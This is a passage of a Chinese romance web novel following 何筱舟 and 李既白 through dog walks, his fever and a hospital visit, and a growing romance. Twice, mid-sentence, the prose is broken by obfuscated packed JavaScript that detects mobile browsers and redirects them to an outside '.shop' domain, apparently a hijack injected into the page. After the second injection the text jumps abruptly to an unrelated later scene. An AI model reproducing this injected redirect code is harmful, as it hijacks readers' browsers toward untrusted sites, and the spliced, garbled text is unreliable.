男生落后她半步的距离,奥斯卡不再横冲直撞,温顺地跟在他身侧,偶尔停下来,好奇地歪头看着投在地面长长的影子。 或相叠,或交错,像随音乐踩着不规律的舞步。 可这片街区安静极了,只有呼呼的风声,和他们重叠的脚步声。 何筱舟试着找话题,“你们公司提前两天放春节假,你怎么没回南岸?” “没买到票。” “你最近常来这边?” 准确来说,是圣诞之后。季惟的性格,做什么都大张旗鼓,那天在他家借宿过之后,他单方面跟李既白组成了什么“失恋阵线联盟”,借这个名头,经常叫他来酒吧。 “季惟琢磨着把酒吧重新装修一遍,我有空会过来帮他忙。” 他的确是有这个想法,只是暂时还是个雏形,两人坐在吧台里无所事事喝酒的时候,会讨论些具体的方案。 说话间,行至海岸沿线宽阔的人行绿道上,奥斯卡重新振奋起来,扯着绳上蹿下跳。 李既白将外套脱掉,“帮我拿一下?我带它跑两圈。” 他里面只穿了件米色毛衣,路灯昏黄光线罩在上头,像蒙了层霜雾般的月光。 何筱舟将被风吹乱的头发理到耳后,接衣服时挨到他的指尖,说:“要不然还是穿上吧,很冷。” “它很能跑。” 李既白只来得及说这么一句,就被奥斯卡拽着,跑了出去。 一高一低两道身影在夜色里跑动跳跃,何筱舟将男生的衣服挽在臂间,一时有点遗憾手边这会没有胶片机。 路灯光线是再自然不过的滤镜,搭配胶片独有的颗粒和做旧质感,可以想象,成像效果一定很棒。 跑了好几个来回,奥斯卡运动量达标,心满意足地伸舌头喘着粗气,乖顺地跟在两人身后往回走。 何筱舟看着男生额角汗湿的碎发,递了张纸巾给他,踮脚把外套搭上他肩膀,“小心感冒了。” 李既白握紧狗绳,手机在掌中振动的同时,低低地叫了一声她的名字。 何筱舟转头看向他,“新年快乐。” “你怎么知道我要说这个?” “猜的。” 男生略有气闷,“喂,你剽窃我的创意。” 何筱舟弯唇笑了,注视着他那双仿佛盛满繁星的眼睛,忽然就想伸手揉一揉他的头发。 但她很快撇开了目光,“算吗?祝新年快乐是什么很新鲜的创意吗?” “那你想看烟花吗?” 何筱舟闻言望向漆黑的天幕,“津海禁燃。” 李既白将手机解锁,递给她。 是以飞行角度记录下来的烟花,各种五光十色的彩焰近乎触手可及,以第一视角在漂亮的花团之间俯冲、穿梭,与绚丽的色彩并肩同行。 “我去桐陵出差,用穿梭机拍的。” “桐陵?” 李既白解释:“巧合。桐陵举办无人机比赛,公司派我去参加。” 许是节日的氛围所致,何筱舟少有地冒出一些感性的、唯心的念头,“我可以借它许个愿吗?” “可能不行。” 男生苦恼地认真思考,“我拍的时候许过愿望,它或许不支持多线程。” 何筱舟只觉无稽,将手机递还给他,“你还真信这个?” “本来不信,许着玩的。” 李既白没接,只低眉定定地看着她,“可是它真的实现了。” “就今天晚上,刚刚。” 33. 消融 何筱舟大致猜到了他的愿望,她没说什么,从他手里接管奥斯卡,沉默着往汀兰的方向走。 照旧沿外设的旋梯上楼,行至二层拐角,奥斯卡呜咽一声,往后扽着绳索,不愿再走。 它将脑袋抵在栏杆间的空隙里,眼巴巴望着还立在楼下的李既白,一副很不舍的样子。 何筱舟蹲下身捋一把它柔软的毛,“阿姨得先回家了,明天再带你跟哥哥一起玩好吗?” 话落,正在对望的一人一狗倏而看向她,来自楼下的目光似有实质的追光灯束,在昏暗的光线中准确锚定她。 他出声纠正:“是叔叔。” 确实不大对,毕竟乔楠自称是奥斯卡的妈。 何筱舟噗嗤笑出声,“听话,明天再带你跟叔叔一起玩。” 奥斯卡歪头蹭了蹭她的掌心:“好!” 何筱舟牵着奥斯卡回到起居室,仔细检查了一遍水和食物,锁好门下楼。 李既白还没走,手里多出一只背包,看样子刚刚是去和季惟道别了。 何筱舟站在两步开外,问:“你怎么回去?” “打车。” “今天可能打不到车。” 她想了想,说:“我送你吧。” “谢谢你今天帮我遛奥斯卡。” 李既白皱了皱眉,刚刚展露的笑意瞬时僵凝在唇角,“不用了。” “我先走了,你开车注意安全。” 他将背包斜挎在肩上,手插在裤兜里,垂着脑袋,背影看上去有几分低靡。 何筱舟静默地看了两秒,朝相反的方向,去往停车场。 没过一会,身后传来一阵急促的脚步声。 何筱舟顿足,看到去而复返的李既白。 他快步走到她身侧站定,深吸口气,“明天,你打算什么时间过来?” 何筱舟思考了下才知道他在说什么,“……我只是在哄奥斯卡。” 李既白紧紧盯着她,“可是它会当真。我也是。” 他的眼神热切极了,像一团火,在冬夜里枯寂地燃烧着,温暖、明烈,让人忍不住想要靠近,却完全不用担心被灼伤。 何筱舟看得几乎失神,“上午一次,下午一次,具体时间,我出门前发微信给你。” “好。”李既白笑了笑,眼尾上扬,溢出粲然流动的神采。 何筱舟心头一软。 她伸手抓住他的衣角,脚下步伐加快,径直带着他往前走,“很晚了,我送你回去。” 李既白低头看着她攥紧的手指。 她是不是过于相信他的定力了? 他不知道自己是怎么忍着没去握她的手。 只觉他的心脏就像那一小块布料一样,被她控在掌中,只能在她微分开的指缝间,得到片刻喘息。 “何筱舟……” “嗯?” 李既白无声弯了弯唇,松懈了力道,任由她扯着,“没什么。” 何筱舟便也没作声。 上车后,她选了个应景的喜庆欢快歌单,这样就算一直不说话,氛围也不会过于尴尬。 一路畅通无阻,很快开到李既白所住的小区外。 他没有同她告别,道谢后拿起搁在后座的背包,解安全带下了车。 走出两步又折返,从车前绕到主驾。 何筱舟将车窗落下,“怎么了?” 他弯下腰,屈起手肘抵在窗沿,好看的笑脸近在咫尺,“虽然被你截胡了,但还是要说,新年快乐。” 何筱舟被他的笑容晃了下眼,怔了怔,“新年快乐。” 她必须承认,今晚这么折腾一通下来,她心头因这喜庆节日而空寂的一角好像暂且被填补完整了。 再回到新安社区,时间已过凌晨两点。 楼上住户的灯基本都熄了,只剩下零星几处窗口,漏出昏昧的光。 洗漱过后,她仍无睡意,点燃香薰,半倚着床头刷朋友圈动态。 清一色的年夜饭照片刷屏,夹杂一些国外或热带海岛的度假照,处在五湖四海的人们皆在庆祝同一个节日,热闹的,昂扬的,以积极的姿态告别旧年。 李既白的动态处在其中格格不入。 他罕见地没发九宫格,只有两张图片。一张是不久前他给她看的那段烟花视频的截图,另一张是香薰蜡烛的外壳,纯白底色,铺着各种植物图案。 何筱舟滑进被子里,抬眼看见搁在床头柜上的同款,将那火苗吹熄。 她在完全暗下来的空间里闭了会眼睛,又摸过枕边的手机,破天荒地,给那条动态点了个赞。 像触发了什么自动回复机制,男生的消息随即跳出来,“明天见。” 何筱舟引用,回了条“+1”。 明天见。 * 遛狗这件事,莫名其妙持续了好几天。 起初都是在槐枰街附近的沿海绿道,到后面,何筱舟开车载着李既白和奥斯卡出城,去到津海郊外的湿地公园或是休闲度假区。 基本都是当天来回,吃过晚饭,安顿好奥斯卡,再送李既白回家。 交流不多,只围绕狗子和行程安排,聊天记录也简洁到极致,单一的时间地点,像是什么接头暗号。 初五这天早上,何筱舟照常先去槐枰街接奥斯卡,沿途看见许多提着玫瑰花桶的小商贩,才反应过来今天是情人节。 等红灯的间隙,她给李既白发了两条微信。 “你今天有其他安排吗?” “有的话我自己带奥斯卡就行。” 顶部“对方正在输入”的字样闪了又闪,仍没有新消息进来,红灯转绿,何筱舟只得暂时搁下手机。 开过路口上高架后,消息提示音接连响了三下。 而等她有机会查看的时候,前两条被撤回了,只剩下最后一条,引用了她发的第一条,回了个很简单的数字——“0”。 约莫半小时,何筱舟抵达李既白所住的小区,绕过小型广场,停入南门附近的临停车位。 李既白已经等在那里。 他穿了件黑色的大衣,垂手立在道旁光秃秃的树下,整个人从上到下好似裹了层萧瑟的寒气。 等车停稳,他拉开车门弯腰坐进来,劈头盖脸地冷声说了句:“我没有其他安排。” 咔嗒一声,他将安全带扣紧,转头看着她,“你有吗?” 奥斯卡敏锐地从后座探出脑袋,一脸好奇地嗅闻前排不太正常的气息。 何筱舟很少见他这样的强势和冷冽,眨了眨眼,说:“有。” 李既白屏息,不再看她,“那你过来是?” 她一本正经道:“本来是有的,我妈说今天让我一起去财神庙,但太早了,我起不来。” 李既白沉了口气,哼笑一声,似气极,又似无奈,“何筱舟,逗我玩很有意思?” 车厢内静默一瞬。 “我没有其他安排。” 他重申了一遍,满不在意地笑开,轻巧地揭过这篇。而后伸手拊了拊奥斯卡的毛发,“今天想去哪儿玩?” 两个选项摆在一起,奥斯卡摁爪选了森林公园,园内种有许多常青植物,这时节,仍葆有春日般的绿意。 去程换李既白开车,何筱舟则在社交平台搜游玩笔记,看着看着临时起意,改道拐去生鲜超市买了些新鲜果切和即食类食物。 下午难得的大太阳,野餐垫铺在绵软的人工草坪上,迎着未被狂风冷却的暖和日光,何筱舟窝在果香和甜点香气里睡了悠长而安稳的一觉。 她近来常做梦。 梦里是林湛出事那段盘山路,急弯处立着一块路牌。大雾弥漫辨不清方向,车灯晃过那标识的时候,反光折射的光线都立即被雾气吞噬。 紧接着,便是天旋地转。车子撞上山石,侧翻,斜滚一圈撞停在护栏边。 何筱舟并未亲历这场事故,这过程是她看过许多次调查报告之后拼凑而来。 唯一符合真实情况的大概是,无论如何也看不清林湛的脸。 但她今天看清了。 雾被阳光驱散,一切都清晰可见。 蜿蜒爬升的山路一侧,是深密的林海。车身像被冲洗过一样锃亮如新,她站在那块路牌下,亲眼目睹车子平稳地开过去,没有停下来。 俊朗的面孔一闪而过,林湛注意到她,从车窗内探出手朝她挥了挥,声音散在风里。 他说,筱筱,我先走了。 去哪? 何筱舟试图追过去,可车速很快,而她的身体像负重千万斤一样,怎么也迈不开腿。 她从难以挣脱的困顿中醒来,眯眼适应了下光线,看清奥斯卡正趴在她肩上,用脑袋蹭她的颈窝。 “醒了?” 何筱舟循着声源望过去,男生坐在她身侧,背光的角度,只能看清轮廓。 他手臂后撤,轻轻扯了扯绳索,奥斯卡立起身。 “该走了,再晚有露水。” 四周原本有许多同样在这边静坐闲聊的游客,这时已散的差不多了,只剩零零散散几个人,也在收拾东西准备离开。 何筱舟坐起身,覆在肩上的大衣滑下来。 她这才发现,李既白身上只剩下件黑色的毛衣,很薄,服帖地贴着皮肤,隐约勾勒出手臂的肌理线条。 “很冷吧?”她将衣服还给他,“不好意思,不知道怎么回事就睡着了……” “我还好,你也不怕生病,直接就睡在这了。” “那你可以叫醒我。” “……抱歉。” “没有怪你,干嘛道歉?” 要怎么说。 他带奥斯卡去林子里溜了两圈,回来见她睡着,是打算叫醒她的。 可他刚刚伸出手,就被她一把抓住。 实际上她的力道并不重,完全能够挣脱。 让他停止思考的是她接下来的动作。 她整个人是稍侧卧的状态,眉心微蹙,手指揪着他的衣袖,十分眷恋又依赖地,一点点将他的小臂环抱在胸前。 他僵滞许久,大脑才恢复运转。 私心占据制高点,他不舍得就这样抽开手。于是放轻动作将大衣脱掉,只留条袖子,其余的都盖在她身上,给她提供一点微薄的温度。 好在她的手掌一直都很温暖。 现在才后知后觉感到不妥。 公园停车场入口有家便利店,李既白向店员借了杯开水,看着她慢慢喝完,总算稍稍放下心。 简单解决了晚饭,何筱舟将李既白送回家。 车位被占满,只能暂时停在小区入口一侧的空地上。 双闪嘀嗒嘀嗒响着,李既白却没立刻下车,从口袋里取出两枚冰箱贴,搁在中控区放置手机的凹槽内。 “之前去桐陵时候买的。” “没别的意思,我看见的时候就想到了你,觉得你可能会喜欢。” 事实上,他有动念准备别的礼物。 但一想到圣诞那次又打消了念头,担心会打破他们之间来之不易的微妙平衡。 何筱舟按亮阅读灯,取来放在掌心,仔细打量。 十分精巧的设计,包含建筑物和植物元素。庙宇、楼阁,旁逸斜出的桂花花枝,高耸的梧桐枝桠,都是桐陵的标志性符号。 她捏着包装的塑封纸,轻声道了句谢。 好像没有再继续逗留的理由。 李既白扬眸看见朝这边走来的门岗工作人员,说了句“注意安全”,就推门下了车。 * 之后两天,李既白发微信说有其他事,没再跟何筱舟一起去遛狗。 汀兰的店员初七上班,将店面里里外外打扫干净,桌椅都归置好,二楼的文创区货架重新整理清点一遍,赶初八恢复营业。 跟负责照顾奥斯卡的店员简单交接过后,何筱舟也帮忙干了点整理的活。 走的时候,收到一封开工红包。 “我也有?” 店长跟她很熟悉了,喜滋滋地说:“老板交代过的,你这个临时工也算,你刚好在,不然我还得跑一趟。” 何筱舟笑了笑,心说其实还有一个‘临时工’。 假期只剩下一天多,没有了“代遛”奥斯卡这桩任务,她突然变得无所事事。 而地图导航已经根据近期行程轨迹和当前时间自动测算生成推荐路线,目的地是新安社区,途经点则是李既白的住处。 何筱舟瞥一眼那封红包,给李既白发了条信息。 往常他一般都会提前等在小区南门,但何筱舟到了有半刻钟,仍没看见他的身影。 路灯渐次亮起,车内却依旧昏沉。 何筱舟无由焦躁起来,拨了通电话过去。 竟是关机了。 她下意识觉得不对劲,锁好车,登记了访客信息,由人行入口进入小区。 不知是房门隔音效果太好,还是家里没人,何筱舟在门外听不到室内的任何声音,只能一下一下按响门铃。 过了很长时间,门终于开了。 “李既白,你手机关机了,我……” 看清他的一刻,她解释的话顿时卡在喉间。 男生手掌撑在一侧鞋柜上,似乎用了很大力气才站稳。白净的脸染上不正常的红晕,呼吸急促而凌乱。 “你生病了,有多久了?” 他反应迟缓地眨眨眼,目光里是掩藏不住的惊喜,将病色都祛淡两分,“你怎么来了?” 何筱舟猜想他理智尚存,因为他分明已经伸出手臂,将要挨到她肩膀的时候又克制地收了回去。 她放心了点,问他:“去过医院吗?” “吃了药。” 显然没去,显然这药也没什么用。 他肉眼可见的憔悴,声音也哑得厉害。而且——何筱舟想到他这两天微信里笼统说的“有事”,推测他应该是去森林公园那天病的。 他把衣服给了她。 何筱舟抿紧唇,“你穿好衣服,我送你去医院。” 李既白皱眉,“我不想去医院。” 何筱舟打量着他的神色,因他发声时过于明显的鼻音,竟莫名咂摸出一点隐晦的撒娇意味。 她伸手抚了抚他滚烫的脸颊,手掌绕到他脑后,轻轻捋他的头发,硬顶着别扭,捏着声音说:“乖,你得打针才能好起来。” “……”她这套动作很眼熟。 他是被当成奥斯卡了吗? “你哄小孩呢?” 何筱舟取下挂在玄关柜上的羽绒服,递给他,“那你去不去?” “……” 李既白穿好衣服,经何筱舟提醒,回房间拿了早已没电的手机,换好鞋跟在她身后出门。 上了车,何筱舟从扶手箱翻出一根数据线,“充电,等会好刷医保。” 39.2度,赶上有车祸,急诊的医生和护士着急处置外伤的病人,暂时将李既白安置在输液室里,过了一会才来扎点滴。 铁质长椅被隔成狭窄的单人位,高大的身躯皱缩着坐在那里,看起来局促极了。 可他精神不济,饶是坐得不舒服,没过多久还是歪头睡着了。 何筱舟将围巾解下,叠好垫在肩头,轻轻把他的脑袋扳过来。男生觉察到动静,眉心微紧,但好在没彻底醒来,寻了个舒服的姿势枕在她颈间。 他睡得很沉,鼻息粗重,皮肤好似都比平时白了些,因此将手背上的青筋衬得更加明显。 何筱舟低眉看着被胶带固定盘绕在他皮肤上的液管,双手凑拢,将他微蜷的手合于掌心。 夜间的急诊部跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938006|187888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了倍速似的,一切都匆匆忙忙,唯独点滴的流速仍然缓慢。 打完差不多快十点了,高热尚未彻底消退,医生给开了药,叮嘱了些注意事项。 去停车场需经过院楼前空旷的广场,料峭的风似携有利刃,割开空气,呼号着从他们身边掠过。 何筱舟正想着要不要提前点个外卖,冷不防被调了个位置,是李既白轻握住她手臂,将她拉到他右侧的位置。 比起无孔不入的风,他的遮挡聊胜于无。 但何筱舟毫无预兆地鼻腔一酸,“你有没有一点当病号的自觉性?” “没有,我差不多好了。” 说着,他拉起她的手,一起揣进外套口袋里。 何筱舟轻挣了下,没挣开,索性随他去了。 夜间一路畅行。 医院本就没多远,李既白看了眼车机屏幕上的时间,有点后悔。难得好几个小时的独处时间,竟然白白浪费掉了。 怎么就那么多觉。 “今天谢谢你,有机会的话,我请你吃饭。” 话这么说,但假期只剩下一天,李既白心里清楚,他们之后很难再有工作之外的交集了。 没料到,何筱舟默了片刻,平声说:“好啊。” 他疑心自己听错,转头看着她。 而她弯眉笑了,耐心地重复,“好。” “那说好了,时间我定。” 他怕她反悔似的,迅速下了车,弯身隔着车窗朝她挥了挥手,从口型分辨,他说的应当是“下次见”。 他唇角带着浓厚的笑,任谁也看不出来他还在发低烧。 何筱舟望着他跑向大门口的背影,不免愣了愣。 她好像没说过现在就走? 小区底商有几家夜宵店还营业,何筱舟挑了家窗明几净的,点了份清淡的粥,打包。 店家主营烧烤炸物之类,等半个多小时才拿到。 何筱舟想李既白有可能睡了,只按了一声门铃。 没曾想,门很快被打开了,男生刚洗过澡,身上携着潮湿的香气。 他大概没料到是她,表情定格成具像化的惊诧,片刻后解冻,渐而转至浓稠的欣喜。 何筱舟还没来得及说明来意,就被他一把拽进屋里,紧接着,他收紧手臂,严严实实地将她圈进怀里。 太过突然,她慌忙避开手,打包袋才没被掀翻。 “我刚才一直在懊悔,为什么你来的时候没抱住你。我烧糊涂了,头脑不清醒——没有比这个更能见缝插针的借口了。” 何筱舟将手中的打包袋搁在玄关柜上,揪住他的t恤下摆,“那你现在清醒了,用什么做借口?” “没有借口,坦白说,我就是很想你。” 熟悉的感觉瞬间席卷了她,胸腔被填实,呼吸间尽是他身上好闻的气息。 她闭上眼,任由自己陷进他的怀抱里。 何筱舟抬手搂住他的腰,轻声问:“你怎么用我的沐浴露?” 她来他这里的次数不算多,但肉眼可见的,这里还维持着先前的陈设。 半开放厨房的吧台上摆着她挑的素胚花瓶,客厅地毯是她选的花色,尽头正对着玄关的墙壁上挂着她买的挂画。 那么理应,属于她的用品都在。 这个认知让她喉咙发堵。 男生手掌缓缓上移,带着轻微的力道,扣在她脑后。 而他微垂下脑袋,脸埋进她颈间,声音嘶哑到像被砂纸打磨过,“都快用完了。” 何筱舟心口滞涩。 她深呼吸平息了下,轻轻推他,“要不你先吃点东西?” “你来给我送饭?” “嗯,吃过药了吗?我等你退烧了再走。” 李既白张了张唇,没作声。 他进厨房取了两只小碗,何筱舟则提着打包袋走去客厅。他们并肩坐在地毯上,各自沉默着,分食那份没什么味道的粥。 吃完,李既白将桌面收拾干净,顺手把碗洗了。 何筱舟记得他这里有额温枪,扬声问他在哪里。 “茶几抽屉。” 收纳空间很整齐,除了电视遥控和测温的仪器,只有两个礼盒。包装很眼熟,何筱舟目光轻掠过,面色如常地合上抽屉,朝李既白招招手。 他顺从地面朝她坐下来,闭上眼睛。 屏显绿色,代表着什么不言而喻。 李既白撇撇嘴角,静默地看着她,等她开口。 何筱舟没着急离开,将下午收到的红包转交给他,“乔楠给员工发的开工红包,我们俩作为奥斯卡的临时铲屎官,也有份。” “乔楠姐可不知道我也帮忙遛狗了。” “那,一人一半?” “何筱舟,”他闭了闭眼,说,“是不是与我有关的东西,你都要分这么清楚?” “你今天来找我,就是为了给我这个?” “那你又为什么送我去医院,陪我打点滴,还来给我送吃的?” “因为你觉得我是因为你生病的?” 话里话外带点咄咄逼人的意味,可他语气沉缓,像药丸卡在喉间,释出亘久的苦涩。 何筱舟敛目,反常地失了所有逗他的念头,将那封红包掷在桌上,“它是我的借口。” “因为它,我好像有了理由,来见你。” 李既白遽然抬眼,不可置信地盯紧她。 她仍然不适应直截了当地表达内心,低眉回避着他的注视。 可这样只会让她更清楚地看清他接下来的举动。 李既白拉开抽屉,取出其中一只包装盒,不由分说地将那块表扣在她腕部。 他力气很大,容不得她挣脱。 “何筱舟,我可以等你慢慢敞开,但是,不要再试图像上次一样击退我,不要再推开我,除非你明确告诉我,你对我没有一丁点好感。” 或许真如乔楠说的,他足够了解她。 他没有用更确定、更直观的字眼,而是“好感”,而她面对他坚定炯然的目光,说不出一点违心的话。 何筱舟想到什么,有些失神地揉了揉他的耳朵。 “如果最后的结果会让你失望呢,会恨我吗?” 李既白拉下她的手,紧紧攥在掌心,“不会,但是你也别想我会祝福你。” “就这样而已吗?” “当然不是。” 李既白思考了下,一字一顿地说:“可以和我偷情吗?我愿意当第三者。” “或者,可以让我参与你们的恋爱吗?” 何筱舟眨眨眼,讶异地扬眉。 “所以,不要因为我们之间暂时的付出不对等就直接拒绝我,或者切断一切联系。” “我没想过从你那里得到什么,是我喜欢你,要追求你,做什么都是应该的。” 何筱舟心脏化成一滩融掉的冰淇淋,“值得吗?” “讨论这个问题没有意义。就像我也搞不清楚,为什么只是几天时间就能抵消掉之前不能跟你见面的一个多月。” 何筱舟垂眸看着他们交握的手,“可是假期就要结束了,复工之后……” 李既白完全明了她的顾虑,“我知道,项目完结之前,我尽量不打扰你。” 仿佛是为了让她安心,他用拇指轻轻摩挲她的指背,“等交付之后,让我正常地,光明正大地追求你,好吗?” 何筱舟没说好,也没说不好,“我考虑考虑。” 他忽地凑近,低下头,像是在审度她这句话里暗藏的真实想法。 滚烫的呼吸近在咫尺,清晰地落在她唇角。眼神同样炙热,让她疑心下一秒他就会吻下来。 可李既白只是将她的手举起来,以无限珍视和虔诚的姿态抵在唇边。 “不管,先盖个章。” 34. 气泡 何筱舟试图解释自己的行为。 她的确对李既白有好感,可她不确定,具体的峰值是否能够支撑她妥善处理挑明之后的关系转变,更重要的,她内心深藏着的,无法对他言说的根源,又该如何安置。 她惯性的程序化思维又占据上风。 但难以忽视,身体里盈满了久违又陌生的感觉。 像浸入气泡果酒中,整个人变成万千透明水珠中的一粒,轻盈地上浮,到极限后发生一次又一次小型爆破,绽开微醺的清甜浆汁。 明明有过更亲密的时候,此时却有点不适应。 何筱舟轻轻抽回手,起身准备离开。 手撑着身后的沙发,还没使上劲,手腕被李既白扯住,用力一拽。 她重心不稳,斜斜倒进他怀里。 “再待一会,十……十五分钟?” 李既白侧过脑袋,低眉认真地征询她的意见。 这个角度,何筱舟看不见他的目光。视线范围内只有他好看的喉结,线条清晰的下巴。 再往上,是稍显干涩的嘴唇,可能是生病的缘故,颜色比平时深一些,像烈日下皱起细褶的花瓣。 也像某些时候被浸润过后又干涸的状态。 她骤觉口干,在心里暗骂自己好几句,手杵着他的膝盖直起身,看了眼时间,“五分钟。” 直觉再多留一会可能要出事。 “好。” 李既白并没有特别遗憾,好像五分钟也是赚到。他从抽屉里取出另一只礼盒,将那台胶片相机拿出来,“可以用砍掉的十分钟换张合影吗?” 何筱舟自然看见了收在盒子里的一叠照片,最上面一张是他们在渝宿的时候去织雾山看日出的合照。 其余的,应该都是先前用她的胶片机拍的。 从前何筱舟不觉得生活中有多少值得记录的东西,但慢慢积攒着,前前后后也用掉了好几台一次性胶片机。 不记得是什么时候养成的习惯,最开始那台是乔楠送给她的,这年头数码相机更吃香,乔楠却说这玩意很适合她。 的确,何筱舟觉得那是一种延迟的浪漫,冲洗的过程将不确定变为确定,无论最终的成像效果如何,回溯时都好像又经历了一遍按快门的那个瞬间。 何筱舟想起织雾山的云海,想起挥旗放音乐点燃气氛帮他们拍照的握草哥,想起她当时因林湛而漂浮不定的心绪最后却被李既白稳稳承托…… “拍吧。” 李既白弯唇笑了笑,应言坐到她身侧,调好模式,反手将镜头对准。 闪光亮起的前一秒,他忽而揽住了她的肩膀,微弯身,脸颊贴上她的。就这样,在何筱舟略微的惊愕中,这一刻被定格。 他仍觉不够,连拍了好几张,到最后甚至牵着她进了浴室,对着铺陈细小水珠的镜面来了一张。 微潮的空气里还残留着铃兰香,很稀薄,却令何筱舟有些微妙的不自在,尤其是,李既白站在她右后方,手臂若有似无地和她相贴,存在感特别强烈。 闪光灯刚熄灭,她就闪身出去,站在墙边,“好了,我真得走了。” 李既白跟出来,斜倚着门框,手里摆弄着相机,漫不经心道:“嗯,我帮你叫个代驾?” “啊?”何筱舟觉得奇怪,叫什么代驾,她又没喝酒。 李既白很诚恳,“你的脸很红,看着像喝大了。” 下意识抬起手背去试,听到一声轻笑,何筱舟才意识到被他捉弄了。 “你家暖气效果太好了。”她胡诌一个借口,闷着口气,径直走向玄关。 李既白落后了两步。 他将相机仔细收好,搁进包装盒,连同那封被遗落在茶几上的红包,一起塞给何筱舟。 她已经换好了鞋,身体倚着门板,在玄关稍暗的灯光下,定定地望着他。 “怎么了?”李既白轻咳了声。 何筱舟摇头,朝他勾了勾手指。 男生顺从地走近,微垂下头。 何筱舟伸手勾住他的脖颈,踮起脚,嘴唇缓缓凑上去。呼吸绞缠在一起,眼看只剩寸许就要挨到,她忽然停了下来,很认真地说:“忘了,你还在生病,不太合适。” 然后,在他反应过来要抬手搂她的时候,反手压下门把,轻巧地退了出去,撇下一句“早点休息”,嘭一声甩上了门。 李既白的微信消息随之而来,“没生病就合适?” 文字令人难以分辨这话里是被摆了一道的气急败坏居多,还是期待居多,何筱舟笑了声,没回,下电梯后脚步轻快地走出大门。 用乔楠的话说,何筱舟这些年清心寡欲到可以原地出家。 不单是指男女之间的交往,除开工作,好像没有任何东西值得让她提起精力,也没有任何事能让她为之沸腾。 她淡漠的像秋风。 她不热衷于暧昧的狩猎游戏,当然,也不擅长。 有时luis会在非约定时间联系她,提议下次玩点新鲜的,何筱舟一概不理,只公事公办地提醒对方别忘记体检。 李既白对于她而言是特殊的吗? 或许是吧。不然她不会在这个时候想起他。 是回家冲过澡之后,她无所事事地倚在床头,翻胶片洗出来的电子照,余光瞥见香薰蜡烛跳跃的火苗,再回来看照片里男生英俊的脸,忽然就有点心猿意马。 她关了灯,手刚刚摸到抽屉,扣在枕边的手机猛地一震。 界面还停留在照片上,何筱舟直接从通知栏点开消息。 李既白发来一张图,用的大概是聊天窗口自带的拍照功能,斜侧角度随手一拍,是床头柜上的香薰,火苗稍稍偏移引线,令静物好似变成了动态的。 还有一条,“怎么办,暖气效果真的有点超过。” 能怎么办,她不知道,她同样热到无处可避。 何筱舟用力闭了闭眼,咚一声将抽屉关上。 “我记得你冰箱里有冰啤酒。”这么发过去一句,才记起他刚刚打过点滴。 而他的回复已经进来,“好像没什么用。” …… 何筱舟将手机锁屏,吹熄蜡烛,并且打算近期都不再用它。 好在假期很快就要结束。 隔天下午,何筱舟将这些天利用闲暇时间整理的资料归纳好,打算等明天复工之后发到领航项目的研发群里。 她的习惯,无论假期做了什么,正式上班前都要留出一点时间做切割,让自己从闲适切换到适宜工作的状态。 这次挑了部职场电影作为缓冲。 看过很多遍的经典之作,英文版台词不用随时盯着也知道大致剧情,所以能分心给李既白发微信。 “————————————————” 男生回复很快,“还有好几个小时,零点再分界也不迟。” 何筱舟不受控地嘴角上扬,因他明了她的潜台词,“零点我就睡了。” “是吗?你一个人的时候有那么早睡?” “昨天好像不是。” 从昨天晚上开始,他厚脸皮顺杆爬的本领突飞猛进。 何筱舟不想在这个话题上多费口舌。 但会想要回击。 分界线之上的聊天记录停留在上午。 他问候早安,她则顺嘴问了问他的病况。 何筱舟往上翻信息,引用那条“退烧了”,噼里啪啦敲字,“确定?再测一遍?不行找大夫再开点药。” 李既白配合地,回了一张病入膏肓的表情包。 这样有一搭没一搭地闲聊着,到九点左右,李既白及时切断,主动发来中止的信号,与她如出一辙的长长破折号。 房间被投影灯光映照得波光粼粼的,像泡在午后温烫的游泳池里,身心都轻盈地漂浮着,有种不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔡旬意味深长地笑了笑,“何小姐,有任何不同意见都可以讨论的,不用拘泥于形式。” “不好意思蔡总,我觉得这样讨论下去可能效率不会很高,后续我们内部确定好方案之后,给您再做一次汇报,当然,会将不同方案的具体优劣势罗列出来,把最终的选择权交给您。” 蔡旬挑了挑眉,算是默许。 暂时略过这一项,后续议程快了很多。 结束刚好到下班时间,李既白将知界一行人送至停车场,目光在何筱舟高挑纤直的背影停留一瞬,照常跟孙林一起去往地铁站。 是了,他替她担心什么呢? 她一向理智冷静,没什么搞不定的。 “你明天跟蔡总一起出差?” 李既白远远看着知界的公车拐出地库,思绪回笼,点头应了一声。 “他很奇怪,不叫自己手下做事,老是支使我们俩。” 李既白隐约也觉得不对劲,“我跟老大说过了,他也没特意交代什么。” 孙林说:“反正你多留点心眼。” 两人抄小路走去园区门口,孙林忽然抬起手肘杵了杵李既白,“看,飒姐。” 自从孙林参加过几次和知界的会议之后,私下里就用“飒姐”代指何筱舟。 李既白本来在确认车票信息,闻言倏地抬眸,恰好望见何筱舟正从知界的车上下来,坐进路边停着的一辆颇引人注意的轿跑里。 “不过阿斯顿马丁跟飒姐的气质不太衬呢,她今天真酷,不卑不亢,四两拨千斤,”孙林感叹,“我感觉来辆牧马人、大G还差不多。” 他兀自说得热闹,丝毫没注意到身旁的李既白正幽幽地盯着那辆绝尘而去的车,脸黑如锅底。 35. 云层 何筱舟是在车刚出地库时候接到电话的。 当时她正在考虑回公司后怎么跟卢斌沟通。 部门内同事都知道,卢斌和张巍毕业于同一所大学,还是同宿舍室友。 她自知不能先入为主地把今天发生的事与先前拒绝张巍加入项目组联系到一起,但思绪就像跌落地面的弹珠,跳动着,一下一下回溯至更早。 是她刚刚接受任命空降到CKMP的那段时间,工作进行得不太顺利。 她能感受到来自一小部分人的微妙恶意,其中当属张巍最明显,他心里存着傲气,大概是认为原本属于自己的位置被她占了。 